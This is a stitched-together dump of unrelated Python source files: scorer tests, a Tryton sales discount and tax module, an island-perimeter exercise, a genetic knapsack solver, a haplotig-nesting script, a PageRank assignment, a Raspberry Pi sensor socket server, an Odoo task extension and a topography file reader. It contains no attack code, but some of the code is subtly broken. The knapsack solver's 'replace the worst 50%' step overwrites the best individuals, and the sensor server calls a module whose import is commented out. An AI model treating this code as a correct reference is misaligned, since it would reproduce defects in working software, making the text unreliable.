        ("xabxcdxxefxgx", "1ab2cd34ef5g6", 0.53846),
    ]

    evaluator = LevenshteinScorer()
    for a, b, expected in cases:
        print(f"[{a}]", f"[{b}]", expected, evaluator(a, b))
        assert evaluator(a, b).score == approx(expected, abs=1e-4)

def test_numeric():
    cases = [(0, 0, 1), (0, 1, 0), (1, 2, 0.66667), (1.0, 2.0, 0.66667), (-1, 2, 0)]

    evaluator = NumericDiff()
    for a, b, expected in cases:
        print(f"[{a}]", f"[{b}]", expected, evaluator(a, b))
        assert evaluator(a, b).score == approx(expected, abs=1e-4)


from decimal import Decimal
from trytond.model import ModelView, fields, ModelSQL, Workflow
from trytond.pool import PoolMeta, Pool
from trytond.pyson import Bool, Eval, Not, If, PYSONEncoder, Id, Get
from trytond.transaction import Transaction
from trytond.wizard import Wizard, StateView, StateTransition, Button, StateAction
from datetime import datetime,timedelta
from trytond.transaction import Transaction
from trytond.model import fields

__all__ = ['Sale','SaleLine']

__metaclass__ = PoolMeta

_ZERO = Decimal('0.0')

class Sale():
    __name__ = 'sale.sale'

    @fields.depends('lines', 'currency', 'party')
    def on_change_lines(self):
        pool = Pool()
        Tax = pool.get('account.tax')
        Invoice = pool.get('account.invoice')
        Configuration = pool.get('account.configuration')
        sub14 = Decimal(0.0)
        sub12 = Decimal(0.0)
        sub0= Decimal(0.0)
        total_new = Decimal(0.0)
        config = Configuration(1)
        descuento_total = Decimal(0.0)
        descuento_parcial = Decimal(0.0)

        changes = {
            'untaxed_amount': Decimal('0.0'),
            'tax_amount': Decimal('0.0'),
            'total_amount': Decimal('0.0'),
            'subtotal_12': Decimal('0.0'),
            'subtotal_14': Decimal('0.0'),
            'subtotal_0': Decimal('0.0'),
            'descuento':Decimal('0.0')
            }

        if self.lines:
            context = self.get_tax_context()
            taxes = {}
            for line in self.lines:
                if  line.taxes:
                    for t in line.taxes:
                        if str('{:.0f}'.format(t.rate*100)) == '12':
                            sub12= sub12 + (line.unit_price * Decimal(line.quantity))
                        elif str('{:.0f}'.format(t.rate*100)) == '0':
                            sub0 = sub0 + (line.unit_price * Decimal(line.quantity))
                        elif str('{:.0f}'.format(t.rate*100)) == '14':
                            sub14 = sub14 + (line.unit_price * Decimal(line.quantity))
                total_new += line.amount_w_tax

                if line.product:
                    descuento_parcial = Decimal(line.product.template.list_price - line.unit_price)
                    if descuento_parcial > 0:
                        descuento_total += descuento_parcial
                    else:
                        descuento_total = Decimal(0.00)

                changes['subtotal_14'] = sub14
                changes['subtotal_12'] = sub12
                changes['subtotal_0'] = sub0
                changes['descuento'] = descuento_total

            if self.currency:
                total_new = self.currency.round(total_new)

            def round_taxes():
                if self.currency:
                    for key, value in taxes.iteritems():
                        taxes[key] = self.currency.round(value)

            for line in self.lines:
                if getattr(line, 'type', 'line') != 'line':
                    continue
                changes['untaxed_amount'] += (getattr(line, 'amount', None)
                    or Decimal(0))
                with Transaction().set_context(context):
                    tax_list = Tax.compute(getattr(line, 'taxes', []),
                        getattr(line, 'unit_price', None) or Decimal('0.0'),
                        getattr(line, 'quantity', None) or 0.0)
                for tax in tax_list:
                    key, val = Invoice._compute_tax(tax, 'out_invoice')
                    if key not in taxes:
                        taxes[key] = val['amount']
                    else:
                        taxes[key] += val['amount']
                if config.tax_rounding == 'line':
                    round_taxes()
            if config.tax_rounding == 'document':
                round_taxes()
            changes['tax_amount'] = sum(taxes.itervalues(), Decimal('0.0'))
        if self.currency:
            changes['untaxed_amount'] = self.currency.round(
                changes['untaxed_amount'])
            changes['tax_amount'] = self.currency.round(changes['tax_amount'])
        changes['total_amount'] = (changes['untaxed_amount']
            + changes['tax_amount'])
        if self.currency:
            changes['total_amount'] = self.currency.round(
                changes['total_amount'])

        if total_new == changes['total_amount']:
            pass
        else:
            changes['total_amount'] = total_new
            changes['untaxed_amount'] = (changes['total_amount']
                - changes['tax_amount'])

        return changes

    @classmethod
    def get_amount(cls, sales, names):
        untaxed_amount = {}
        tax_amount = {}
        total_amount = {}
        sub14 = Decimal(0.0)
        sub12 = Decimal(0.0)
        sub0= Decimal(0.0)
        subtotal_14 = {}
        subtotal_12 = {}
        subtotal_0 = {}
        descuento_desglose = Decimal(0.0)
        discount = Decimal(0.0)

        if {'tax_amount', 'total_amount'} & set(names):
            compute_taxes = True
        else:
            compute_taxes = False
        # Sort cached first and re-instanciate to optimize cache management
        sales = sorted(sales, key=lambda s: s.state in cls._states_cached,
            reverse=True)
        sales = cls.browse(sales)
        for sale in sales:
            module = None
            for line in sale.lines:
                pool = Pool()

                Module = pool.get('ir.module.module')
                module = Module.search([('name', '=', 'sale_discount'), ('state', '=', 'installed')])

                if module:
                    if (line.descuento_desglose > Decimal(0.0)) | (line.discount > Decimal(0.0)):
                        descuento_desglose = line.descuento_desglose
                        discount = line.discount
                        if  line.taxes:
                            for t in line.taxes:
                                if str('{:.0f}'.format(t.rate*100)) == '12':
                                    sub12= sub12 + (line.unit_price * Decimal(line.quantity))
                                elif str('{:.0f}'.format(t.rate*100)) == '14':
                                    sub14 = sub14 + (line.unit_price * Decimal(line.quantity))
                                elif str('{:.0f}'.format(t.rate*100)) == '0':
                                    sub0 = sub0 + (line.unit_price * Decimal(line.quantity))
                    else:
                        if  line.taxes:
                            for t in line.taxes:
                                if str('{:.0f}'.format(t.rate*100)) == '12':
                                    sub12= sub12 + (line.unit_price * Decimal(line.quantity))
                                elif str('{:.0f}'.format(t.rate*100)) == '14':
                                    sub14 = sub14 + (line.unit_price * Decimal(line.quantity))
                                elif str('{:.0f}'.format(t.rate*100)) == '0':
                                    sub0 = sub0 + (line.unit_price * Decimal(line.quantity))
                else:
                    if  line.taxes:
                        for t in line.taxes:
                            if str('{:.0f}'.format(t.rate*100)) == '12':
                                sub12= sub12 + (line.amount)
                            elif str('{:.0f}'.format(t.rate*100)) == '14':
                                sub14 = sub14 + (line.amount)
                            elif str('{:.0f}'.format(t.rate*100)) == '0':
                                sub0 = sub0 + (line.amount)

            if (sale.state in cls._states_cached
                    and sale.untaxed_amount_cache is not None
                    and sale.tax_amount_cache is not None
                    and sale.total_amount_cache is not None
                    and sale.subtotal_0_cache is not None
                    and sale.subtotal_12_cache is not None
                    and sale.subtotal_14_cache is not None):
                untaxed_amount[sale.id] = sale.untaxed_amount_cache
                subtotal_0[sale.id] = sale.subtotal_0_cache
                subtotal_12[sale.id] = sale.subtotal_12_cache
                subtotal_14[sale.id] = sale.subtotal_14_cache
                if compute_taxes:
                    tax_amount[sale.id] = sale.tax_amount_cache
                    total_amount[sale.id] = sale.total_amount_cache
            else:
                if module:
                    if (descuento_desglose > Decimal(0.0)) | (discount > Decimal(0.0)):
                        untaxed_amount[sale.id] = sale.currency.round(sum(
                            ((line.amount) for line in sale.lines
                                if line.type == 'line'), _ZERO))
                    else:
                        untaxed_amount[sale.id] = sale.currency.round(sum(
                            ((line.unit_price * Decimal(line.quantity)) for line in sale.lines
                                if line.type == 'line'), _ZERO))
                else:
                    untaxed_amount[sale.id] = sale.currency.round(sum(
                        ((line.amount) for line in sale.lines
                            if line.type == 'line'), _ZERO))

                subtotal_0[sale.id] = sale.currency.round(sub0)
                subtotal_12[sale.id] = sale.currency.round(sub12)
                subtotal_14[sale.id] = sale.currency.round(sub14)
                if compute_taxes:
                    tax_amount[sale.id] = sale.get_tax_amount()
                    total_amount[sale.id] = (
                        untaxed_amount[sale.id] + tax_amount[sale.id])
        result = {
            'untaxed_amount': untaxed_amount,
            'tax_amount': tax_amount,
            'total_amount': total_amount,
            'subtotal_0': subtotal_0,
            'subtotal_12': subtotal_12,
            'subtotal_14':subtotal_14,
            }
        for key in result.keys():
            if key not in names:
                del result[key]
        return result

class SaleLine(ModelSQL, ModelView):
    'Sale Line'
    __name__ = 'sale.line'
    _rec_name = 'description'

    listas_precios = fields.Many2One('product.list_by_product', 'Listas de Precios', domain=[
        ('product', '=', Eval('product'))
        ])

    @classmethod
    def __setup__(cls):
        super(SaleLine, cls).__setup__()
        if 'unit_price' not in cls.amount.on_change_with:
            cls.amount.on_change_with.add('unit_price')
        if 'unit_price' not in cls.unit_price_w_tax.on_change_with:
            cls.unit_price_w_tax.on_change_with.add('unit_price')
        if 'unit_price' not in cls.amount_w_tax.on_change_with:
            cls.amount_w_tax.on_change_with.add('unit_price')

        if 'type' not in cls.amount.on_change_with:
            cls.amount.on_change_with.add('type')

        if 'amount' not in cls.amount.on_change_with:
            cls.amount.on_change_with.add('amount')
        if 'amount' not in cls.unit_price_w_tax.on_change_with:
            cls.unit_price_w_tax.on_change_with.add('amount')
        if 'amount' not in cls.amount_w_tax.on_change_with:
            cls.amount_w_tax.on_change_with.add('amount')

        if 'listas_precios' not in cls.unit_price_w_tax.on_change_with:
            cls.unit_price_w_tax.on_change_with.add('listas_precios')
        if 'listas_precios' not in cls.amount_w_tax.on_change_with:
            cls.amount_w_tax.on_change_with.add('listas_precios')

    @fields.depends('unit_price', 'listas_precios', 'gross_unit_price', 'discount',
        '_parent_sale.sale_discount', 'product', 'descuento_desglose', 'type',
        'amount','_parent_sale.currency', 'quantity')
    def on_change_listas_precios(self):
        res = {}
        if self.listas_precios:
            res['unit_price'] = self.listas_precios.fijo
            self.unit_price = res['unit_price']
            res['amount'] = self.on_change_with_amount()
        return res

    @fields.depends('type', 'quantity', 'unit_price', 'unit',
        '_parent_sale.currency')
    def on_change_with_amount(self):
        if self.type == 'line':
            currency = self.sale.currency if self.sale else None
            amount = Decimal(str(self.quantity or '0.0')) * \
                (self.unit_price or Decimal('0.0'))
            if currency:
                return currency.round(amount)
            return amount
        return Decimal('0.0')

    @fields.depends('gross_unit_price', 'discount',
        '_parent_sale.sale_discount', 'unit_price', 'type', 'amount', '_parent_sale.currency')
    def on_change_unit_price(self):
        return self.update_prices()

    def update_prices(self):
        unit_price = None
        descuento = Decimal(0.0)
        gross_unit_price = gross_unit_price_wo_round = self.gross_unit_price
        sale_discount = Transaction().context.get('sale_discount')
        producto = self.product

        if producto:
            precio_costo = self.product.cost_price
        else:
            precio_costo = None
        origin = str(self)
        def in_group():
            pool = Pool()
            ModelData = pool.get('ir.model.data')
            User = pool.get('res.user')
            Group = pool.get('res.group')
            group = Group(ModelData.get_id('nodux_sale_pos_discount',
                        'group_cost_price_force_assignment'))
            transaction = Transaction()
            user_id = transaction.user
            if user_id == 0:
                user_id = transaction.context.get('user', user_id)
            if user_id == 0:
                return True
            user = User(user_id)
            return origin and group in user.groups

        if sale_discount == None:
            if self.sale and hasattr(self.sale, 'sale_discount'):
                sale_discount = self.sale.sale_discount or Decimal(0)
            else:
                sale_discount = Decimal(0)
        """
        if sale_discount:
            total = self.sale.total_amount
            value = total - (sale_discount*100)
            sale_discount = ((value * 100) / total)/100
        """
        if self.gross_unit_price is not None and (self.discount is not None
                or sale_discount is not None or self.descuento_desglose is not None):
            unit_price = self.gross_unit_price

            if self.discount and self.descuento_desglose:
                if self.quantity:
                    taxes = self.taxes
                    desglose = self.descuento_desglose
                    for t in taxes:
                        porcentaje = 1 + t.rate
                        unit_price = (desglose / porcentaje)

                    d = (unit_price/self.gross_unit_price)/100
                    dscto = 1- d
                    descuento = self.discount + d
                else:
                    descuento_inicial = 1 - (self.unit_price/self.gross_unit_price)
                    descuento = descuento_inicial + self.discount

                    desglose = self.descuento_desglose
                    taxes = self.taxes
                    if self.discount > 1:
                        e_d = str(self.discount * 100)
                        self.raise_user_error('No se puede aplicar un descuento de %s', e_d)

                    unit_price *= (1 - (descuento))

                    for t in taxes:
                        porcentaje = 1 + t.rate
                        unit = (desglose / porcentaje)

                    d = ((unit*100)/self.gross_unit_price)/100
                    dscto = 1- d

            elif self.discount:
                if self.discount > 1:
                    e_d = str(self.discount * 100)
                    self.raise_user_error('No se puede aplicar un descuento de %s', e_d)
                unit_price *= (1 - self.discount)

            elif self.descuento_desglose:
                taxes = self.taxes
                desglose = self.descuento_desglose
                if self.quantity:
                    for t in taxes:
                        porcentaje = 1 + t.rate
                        unit_price = (desglose / porcentaje)
                d = ((unit_price*100)/self.gross_unit_price)/100
                dscto = 1- d

            if self.discount and sale_discount:
                discount = (self.discount + sale_discount
                    - self.discount * sale_discount)
                if discount != 1:
                    gross_unit_price_wo_round = unit_price / (1 - discount)

            elif self.discount and self.descuento_desglose:
                discount = (self.discount + d)
                if descuento != 1:
                    gross_unit_price_wo_round = self.gross_unit_price

            elif self.discount and self.discount != 1:
                gross_unit_price_wo_round = unit_price / (1 - self.discount)
            elif sale_discount and sale_discount != 1:
                gross_unit_price_wo_round = unit_price / (1 - sale_discount)
            elif self.descuento_desglose and self.descuento_desglose != 0:
                gross_unit_price_wo_round = unit_price / (1 - dscto)

            digits = self.__class__.unit_price.digits[1]
            unit_price = unit_price
            digits = self.__class__.gross_unit_price.digits[1]
            gross_unit_price = gross_unit_price_wo_round.quantize(
                Decimal(str(10.0 ** -digits)))

        return {
            'gross_unit_price': gross_unit_price,
            'gross_unit_price_wo_round': gross_unit_price_wo_round,
            'unit_price': unit_price,
            }


# # # By myself
# class Solution:
#     def islandPerimeter(self, grid):
#         die = 0     # 记重叠的边个数
#         counter = 0     # 记grid中出现 1 的个数
#         m, n = len(grid), len(grid[0])  # 获得grid的规格
#
#         for k in range(m):  # m = 4; n = 4
#             # 先在4*4 左右两边各添加两个零，相当于加了8个零，左右各四个零围着
#             grid[k].insert(n, 0)
#             grid[k].insert(0, 0)
#         # 上下各加6个零围起来
#         grid.insert(m, [0] * (n + 2))
#         grid.insert(0, [0] * (n + 2))
#         # 生成了一个 6 * 6 的矩阵了
#
#         for i in range(m + 2):
#             for j in range(n + 2):
#                 if grid[i][j]:
#                     counter += 1
#                     if grid[i - 1][j]:  # 上
#                         die += 1
#                     if grid[i + 1][j]:  # 下
#                         die += 1
#                     if grid[i][j - 1]:  # 左
#                         die += 1
#                     if grid[i][j + 1]:  # 右
#                         die += 1
#         return counter * 4 - die
#
#
# S = Solution()
# # grid = [[0, 1, 0], [1, 1, 0], [0, 1, 0]]
# grid = [[0, 1, 0, 0], [1, 1, 1, 0], [0, 1, 0, 0], [1, 1, 0, 0]]
# print(S.islandPerimeter(grid))

# class Solution:
#     def islandPerimeter(self, grid) -> int:
#         m, n = len(grid), len(grid[0])
#         ans = 0
#         for i in range(m):
#             for j in range(n):
#                 if grid[i][j]:
#                     if (i + 1 < m and not grid[i + 1][j]) or i == m - 1:
#                         ans += 1
#                     if (i - 1 >= 0 and not grid[i - 1][j]) or i == 0:
#                         ans += 1
#                     if (j + 1 < n and not grid[i][j + 1]) or j == n - 1:
#                         ans += 1
#                     if (j - 1 >= 0 and not grid[i][j - 1]) or j == 0:
#                         ans += 1
#         return ans

# class Solution {
#     public int islandPerimeter(int[][] grid) {
#         int total = 0;
#         // 重合边长总和
#         int innerTotal = 0;
#         for (int i = 0; i < grid.length; i++) {
#             int[] temp = grid[i];
#             for (int j = 0; j < temp.length; j++) {
#                 if (grid[i][j] == 1) {
#                     total += 4;
#                 } else {
#                     continue;
#                 }
#                 // 左边有格子
#                 if (j > 0 && grid[i][j - 1] == 1) {
#                     innerTotal++;
#                 }
#                 // 右边有格子
#                 if (j < temp.length - 1 && grid[i][j + 1] == 1) {
#                     innerTotal++;
#                 }
#                 // 上边有格子
#                 if (i > 0 && grid[i - 1][j] == 1) {
#                     innerTotal++;
#                 }
#                 // 下边有格子
#                 if (i < grid.length - 1 && grid[i + 1][j] == 1) {
#                     innerTotal++;
#                 }
#             }
#         }
#
#         return total - innerTotal;
#     }
# }

# 类似虚拟头结点解法

def islandPerimeter(grid) -> int:
    c = 0
    m, n = len(grid), len(grid[0])
    for i in range(m):  # m = 4; n = 4
        # 先在4*4 左右两边各添加两个零，相当于加了8个零，左右各四个零围着
        grid[i].insert(n, 0)
        grid[i].insert(0, 0)
    # 上下各加6个零围起来
    grid.insert(m, [0] * (n + 2))
    grid.insert(0, [0] * (n + 2))
    # 生成了一个 6 * 6 的矩阵了

    for i in range(1, m + 1):
        for j in range(1, n + 1):

            if grid[i][j] == 1:
                c += [grid[i - 1][j], grid[i + 1][j], grid[i][j - 1], grid[i][j + 1]].count(0)
                # 1 上下左右有几个0就有几条边
    return c

if __name__ == '__main__':
    grid = [[0, 1, 0], [1, 1, 0], [0, 1, 0]]
    # grid = [[0, 1, 0, 0], [1, 1, 1, 0], [0, 1, 0, 0], [1, 1, 0, 0]]
    print(islandPerimeter(grid))

每日一题/463.岛屿的周长.py


import random

# Define items with weights and values
items = [(20, 6), (30, 5), (60, 8), (90, 7), (50, 6), (70, 9),
         (30, 4), (30, 5), (70, 4), (20, 9), (20, 2), (60, 1)]

# Knapsack capacity
capacity = 250

# Population size
population_size = 100

# Number of generations
num_generations = 50

# Mutation rate
mutation_rate = 0.1

# Tournament size for selection
tournament_size = 3

# Function to generate a random genome
def generate_individual():
    return [random.randint(0, 1) for _ in range(len(items))]

# Function to calculate individual fitness
def calculate_fitness(individual):
    total_weight = 0
    total_value = 0

    for i, item in enumerate(items):
        if individual[i] == 1:
            total_weight += item[0]
            total_value += item[1]

    if total_weight > capacity:
        return 0

    return total_value

# Function for tournament selection
def select_parent(population):
    parent = random.choice(population)
    for _ in range(tournament_size - 1):
        competitor = random.choice(population)
        if calculate_fitness(competitor) > calculate_fitness(parent):
            parent = competitor
    return parent

# Function for one-point crossover
def crossover(parent1, parent2):
    crossover_point = random.randint(1, len(items) - 1)
    child = parent1[:crossover_point] + parent2[crossover_point:]
    return child

# Function for mutation
def mutate(individual):
    for i in range(len(individual)):
        if random.random() < mutation_rate:
            individual[i] = 1 - individual[i]
    return individual

# Generate an initial population
population = [generate_individual() for _ in range(population_size)]

# Evolve the population
for _ in range(num_generations):
    # Evaluate fitness for each individual
    fitness_scores = [calculate_fitness(individual) for individual in population]

    # Select parents
    parent1 = select_parent(population)
    parent2 = select_parent(population)

    # Crossover
    child = crossover(parent1, parent2)

    # Mutate
    child = mutate(child)

    # Evaluate child fitness
    child_fitness = calculate_fitness(child)

    # Replace the worst 50% of the population with the child
    sorted_population = [x for _, x in sorted(zip(fitness_scores, population), reverse=True)]
    num_to_replace = population_size // 2
    for i in range(num_to_replace):
        sorted_population[i] = child

    population = sorted_population

# Find the best individual in the final population
best_fitness = max(fitness_scores)
best_individual = population[fitness_scores.index(best_fitness)]

# Print the final results
print("Best fitness:", best_fitness)
print("Best individual:", best_individual)


#!/usr/bin/env python

# Sarah B. Kingan
# 7 April 2017
#
# Pacific Biosciences
# Applications Lab

###########################################################################################################

# import libraries
from argparse import ArgumentParser
import csv
import numpy as np
import subprocess
import string

###########################################################################################################

# define command line arguments, program description, and help
desc ='''Identify nested haplotigs.'''
parser = ArgumentParser(description=desc)
parser.add_argument("fileList", help="list of coords files")
args = parser.parse_args()

###########################################################################################################

# get filenames
inFiles = args.fileList

###########################################################################################################

# define functions

def file2list(textFile):
	return [line.rstrip('\n') for line in open(textFile)]

def file_len(fname):
	#http://stackoverflow.com/questions/845058/how-to-get-line-count-cheaply-in-python
	p = subprocess.Popen(['wc', '-l', fname], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
	result, err = p.communicate()
	if p.returncode != 0:
		raise IOError(err)
	return int(result.strip().split()[0])

def bed(file):
	if file_len(file) >= 5:
		output=['primaryContig','pstart', 'pend','haplotig']
		d=np.loadtxt(open(file, "rb"), skiprows=4, dtype="str", ndmin=2)
		output[3] = d[0,10] # haplotig
		output[0] = d[0,9] #primary contig
		p = np.array(d[:,[0,1]],dtype=int)
		output[1] = np.amin(p) # pstart
		output[2] = np.amax(p) # pstop
		return output

def nested(a,b):
	# a nested inside b
	nested = 0
	if a[1] < b[2] and a[1] > b[1] and a[2] > b[1] and a[2] < b[2]:
		nested = 1
	return nested

coordsFileList = file2list(inFiles)
nestedHaplotigs = [0] * len(coordsFileList)
for i in range(len(coordsFileList)):
	for j in range(i):
		bedi = bed(coordsFileList[i])
		bedj = bed(coordsFileList[j])
		if nested(bedi,bedj):
			nestedHaplotigs[i] = 1
		if nested(bedj,bedi):
			nestedHaplotigs[j] = 1

# ready to write to file
nested = open('nested_haplotigs.txt', 'a')
retained = open('retained_contigs_haplotigs.txt', 'a')

for k in range(len(coordsFileList)):
	haplotig = str(coordsFileList[k])
	haplotig = haplotig.replace(".coords","")
	if nestedHaplotigs[k] == 1:
		nested.write(str(haplotig) + "\n")
	else:
		retained.write(str(haplotig) + "\n")

nested.close()
retained.close()


import os
import random
import re
import sys

DAMPING = 0.85
SAMPLES = 10000

def main():
    if len(sys.argv) != 2:
        sys.exit("Usage: python pagerank.py corpus")
    corpus = crawl(sys.argv[1])
    ranks = sample_pagerank(corpus, DAMPING, SAMPLES)
    print(f"PageRank Results from Sampling (n = {SAMPLES})")
    for page in sorted(ranks):
        print(f"  {page}: {ranks[page]:.4f}")
    ranks = iterate_pagerank(corpus, DAMPING)
    print(f"PageRank Results from Iteration")
    for page in sorted(ranks):
        print(f"  {page}: {ranks[page]:.4f}")

def crawl(directory):
    """
    Parse a directory of HTML pages and check for links to other pages.
    Return a dictionary where each key is a page, and values are
    a list of all other pages in the corpus that are linked to by the page.
    """
    pages = dict()

    # Extract all links from HTML files
    for filename in os.listdir(directory):
        if not filename.endswith(".html"):
            continue
        with open(os.path.join(directory, filename)) as f:
            contents = f.read()
            links = re.findall(r"<a\s+(?:[^>]*?)href=\"([^\"]*)\"", contents)
            pages[filename] = set(links) - {filename}

    # Only include links to other pages in the corpus
    for filename in pages:
        pages[filename] = set(
            link for link in pages[filename]
            if link in pages
        )

    return pages
def transition_model(corpus, page, damping_factor):
    """
    Return a probability distribution over which page to visit next,
    given a current page.

    With probability `damping_factor`, choose a link at random
    linked to by `page`. With probability `1 - damping_factor`, choose
    a link at random chosen from all pages in the corpus.
    """
    temp = dict(corpus)
    test = list(corpus[f"{page}"])
    """
    sets the probability of the serfer going to a file that it is not already on
    """
    for i in temp:
      if(test==list()):
        temp[i] = 0
        continue
      temp[i] = damping_factor/(len(test))

    test = list(corpus)
    """
    adjusts probablity for 1-damping_factor
    """
    for i in range(len(corpus)):
      if not isinstance(temp[f"{test[i]}"], float):
        temp[f"{test[i]}"] = (1-damping_factor)/len(corpus)
      else:
        temp[f"{test[i]}"] = temp[f"{test[i]}"]+(1-damping_factor)/len(corpus)
    return(temp)
def sample_pagerank(corpus, damping_factor, n):
    """
    Return PageRank values for each page by sampling `n` pages
    according to transition model, starting with a page at random.

    Return a dictionary where keys are page names, and values are
    their estimated PageRank value (a value between 0 and 1). All
    PageRank values should sum to 1.
    """
    tmp = dict(corpus)
    tmp2 = dict(corpus)
    for i in tmp:
      tmp[i] = 0
    take = transition_model(tmp2,random.choice(list(tmp2)),damping_factor)
    for i in range(0,n):
      temp = random.choices(list(take),weights = list(take.values()),k = 1)
      """print(temp)
      print(tmp[f"{temp[0]}"])
      print(tmp)"""
      tmp[f"{temp[0]}"]+=1/n
      take = transition_model(tmp2,f"{temp[0]}",damping_factor)
    return(tmp)

def iterate_pagerank(corpus, damping_factor):
    """
    Return PageRank values for each page by iteratively updating
    PageRank values until convergence.

    Return a dictionary where keys are page names, and values are
    their estimated PageRank value (a value between 0 and 1). All
    PageRank values should sum to 1.
    """
    rank = dict(corpus)
    for i in corpus:
      rank[i] = 1/len(corpus)
    while True:
      temp=dict()
      for currpage in rank:
        currpagerank = (1-damping_factor)/len(corpus)
        for i,j in corpus.items():
          if j:
            if i != currpage and currpage in j:
              currpagerank += damping_factor * (rank[i] / len(corpus[i]))
          else:
            currpagerank += damping_factor * (rank[i] / len(corpus))
        temp[currpage] = currpagerank
      if change(temp, rank):
        return temp
      rank = temp.copy()
def change(temp,rank):
  for i in temp:

    if not temp[i]:
      return False
    diff = (temp[i]-rank[i])
    if round(diff,3)>0:
      return False
  return True

if __name__ == "__main__":
    main()


from socket import *
import numpy as np
import smbus
import time
#import py_qmc58831
#import py_qmc5883l as qmc
import math
import Adafruit_ADS1x15
adc = Adafruit_ADS1x15.ADS1115()
GAIN = 1 #This sets the voltage range to 4.096V per 2**15
#from mpu6050 import mpu6050
#sensor = mpu6050(0x68)
HOST=''
PORT=52849
BUFSIZE=1024
ADDR=(HOST,PORT)
tcpSerSock=socket(AF_INET,SOCK_STREAM)
tcpSerSock.bind(ADDR)
tcpSerSock.listen(5)
#tcpSerSock.settimeout(0.5)

RawVoltage = adc.read_adc(0,gain = GAIN)
Voltage = round(100*RawVoltage*4.096/(2**15))/100
Volts=str(Voltage)+'V'
print(Volts)

print('Waiting for connection')
print('...connected from:',ADDR)

while True:

    tcpDataSock,addr=tcpSerSock.accept()
    print("accepted")
    try:
        sensor = qmc.QMC5883L()
        sensor.calibration = [[  1.03194204e+00,  -5.83440263e-02,  -6.59472052e+03],
                              [ -5.83440263e-02,   1.10656882e+00,   4.03742821e+02],
                              [  0.00000000e+00,   0.00000000e+00,   1.00000000e+00]]
        m=sensor.get_bearing()

    except:
        m='none'
    try:
    #print(m)
        RawVoltage = adc.read_adc(0,gain = GAIN)
        Voltage = round(100*RawVoltage*4.096/(2**15))/100
        Volts=str(Voltage)+'V'
        print(Volts)
    except:
        Volts="NA"

    Message = str(m)+','+Volts+'\r\n'
    #Message = str(math.degrees(math.atan2(y,x)))+'\r\n'
    tcpDataSock.send(Message.encode('UTF-8'))


# -*- coding: utf-8 -*-
from odoo import api, fields, models, _

class ProjectTask(models.Model):
    _inherit = "project.task"

    @api.multi
    def _compute_attached_docs_count(self):
        Attachment = self.env['ir.attachment']
        for task in self:
            task.doc_count = Attachment.search_count([
                ('res_model', '=', 'project.task'), ('res_id', '=', task.id)
            ])

    doc_count = fields.Integer(
        compute='_compute_attached_docs_count',
        string="Number of documents attached"
    )

    @api.multi
    def unlink(self):
        for task_rec in self:
            task_dir_rec = self.env['dms.directory'].search(
                [('res_model', '=', 'project.task'),
                 ('res_id', '=', task_rec.id)])
            task_dir_rec.unlink()
        return super(ProjectTask, self).unlink()

    @api.multi
    def write(self, vals):
        if not self._context.get('copy'):
            directory = self.env['dms.directory']
            for task_rec in self:
                task_dir_rec = directory.search(
                    [('res_model', '=', 'project.task'),
                     ('res_id', '=', task_rec.id)])
                if vals.get('name'):
                    task_dir_rec.write({'name': vals.get('name')})
                if vals.get('stage_id'):
                    stage_dir_recs = directory.search(
                        [('res_model', '=', 'project.task.type'),
                         ('res_id', '=', vals.get('stage_id'))])
                    if task_rec.parent_id:
                        task_dir = stage_dir_recs.mapped(
                            'parent_directory_id').with_context(
                            task_id=task_rec.parent_id.id).filtered(
                                lambda s: s.res_model ==
                                'project.task' and s.res_id ==
                                s._context['task_id'])
                        root_id = task_dir.child_ids.with_context(
                            stage_id=vals.get('stage_id')).filtered(
                            lambda s: s.res_id == s._context['stage_id'])
                    else:
                        project_dir = stage_dir_recs.mapped(
                            'parent_directory_id').with_context(
                            project_id=task_rec.project_id.id).filtered(
                            lambda s: s.res_model == 'project.project' and
                            s.res_id == s._context['project_id'])
                        root_id = project_dir.child_ids.with_context(
                            stage_id=vals.get('stage_id')).filtered(
                            lambda s: s.res_id == s._context['stage_id'])
                    task_dir_rec.write({'parent_directory_id': root_id.id})
        return super(ProjectTask, self).write(vals)

    @api.multi
    def copy(self, default=None):
        self.ensure_one()
        return super(ProjectTask, self.with_context({'copy': True})).copy(
            default)

    @api.model
    def create(self, vals):
        task_rec = super(ProjectTask, self).create(vals)
        dir_vals = {}
        parent_dir_recs = self.env['dms.directory'].search(
            [('res_model', '=', 'project.task.type'),
             ('res_id', '=', task_rec.stage_id.id)])
        if task_rec.parent_id:
            parent_dir_rec = parent_dir_recs.mapped(
                'parent_directory_id').with_context(
                task_id=task_rec.parent_id.id).filtered(
                lambda p: p.res_model == 'project.task' and
                p.res_id == p._context['task_id'])
            root_id = parent_dir_rec.child_ids.with_context(
                stage_id=task_rec.stage_id.id).filtered(
                lambda p: p.res_id == p._context['stage_id'])
        else:
            parent_dir_rec = parent_dir_recs.mapped(
                'parent_directory_id').with_context(
                project_id=task_rec.project_id.id).filtered(
                lambda p: p.res_model == 'project.project' and
                p.res_id == p._context['project_id'])
            root_id = parent_dir_rec.child_ids.with_context(
                stage_id=task_rec.stage_id.id).filtered(
                lambda p: p.res_id == p._context['stage_id'])
        dir_vals.update({'parent_directory_id': root_id.id})
        dir_vals = {'name': task_rec.name,
                    'res_id': task_rec.id,
                    'res_model': 'project.task',
                    'company_id': self.env.user.company_id.id}
        self.env['dms.directory'].create(dir_vals)
        return task_rec

    @api.multi
    def attachment_tree_view(self):
        self.ensure_one()
        domain = [
            ('res_model', '=', 'project.task'),
            ('res_id', '=', self.id)
        ]
        return {
            'name': _('Attachments'),
            'domain': domain,
            'res_model': 'ir.attachment',
            'type': 'ir.actions.act_window',
            'view_id': False,
            'view_mode': 'kanban,tree,form',
            'view_type': 'form',
            'help': _('''

                        Documents are attached to the tasks and
                        issues of your project.

                        Send messages or log internal notes with attachments to
                        link documents to your project.

'''),
            'limit': 80,
            'context': "{'default_res_model': '%s','default_res_id': %d}"
            % (self._name, self.id)
        }


import numpy as np
import pylab

from pyclaw.data import Data

def read_header(fname):
    """
    Read a generic header of the form
      value  key
    """

    header = {}
    header_lines = ""
    f = open(fname, "r")

    for i in range(20):
        line = f.readline()
        tokens = line.split()
        # print "+++ tokens: ",tokens
        if (len(tokens) != 2) or (type(tokens[1]) != str):
            # print "+++ Done"
            break

        header_lines = header_lines + line
        try:
            try:
                value = int(tokens[0])
            except:
                value = float(tokens[0])
        except:
            raise ValueError("*** Cannot parse line ", line)

        key = tokens[1]
        header[key] = value

    header["header_lines"] = header_lines
    print(header_lines)
    f.close()
    return header

def read_dtopo(fname, topotype=1):
    header = read_header(fname)
    if (len(header["header_lines"]) == 0) and (abs(topotype) > 1):
        raise ValueError("*** topotype = %s but no header found" % topotype)
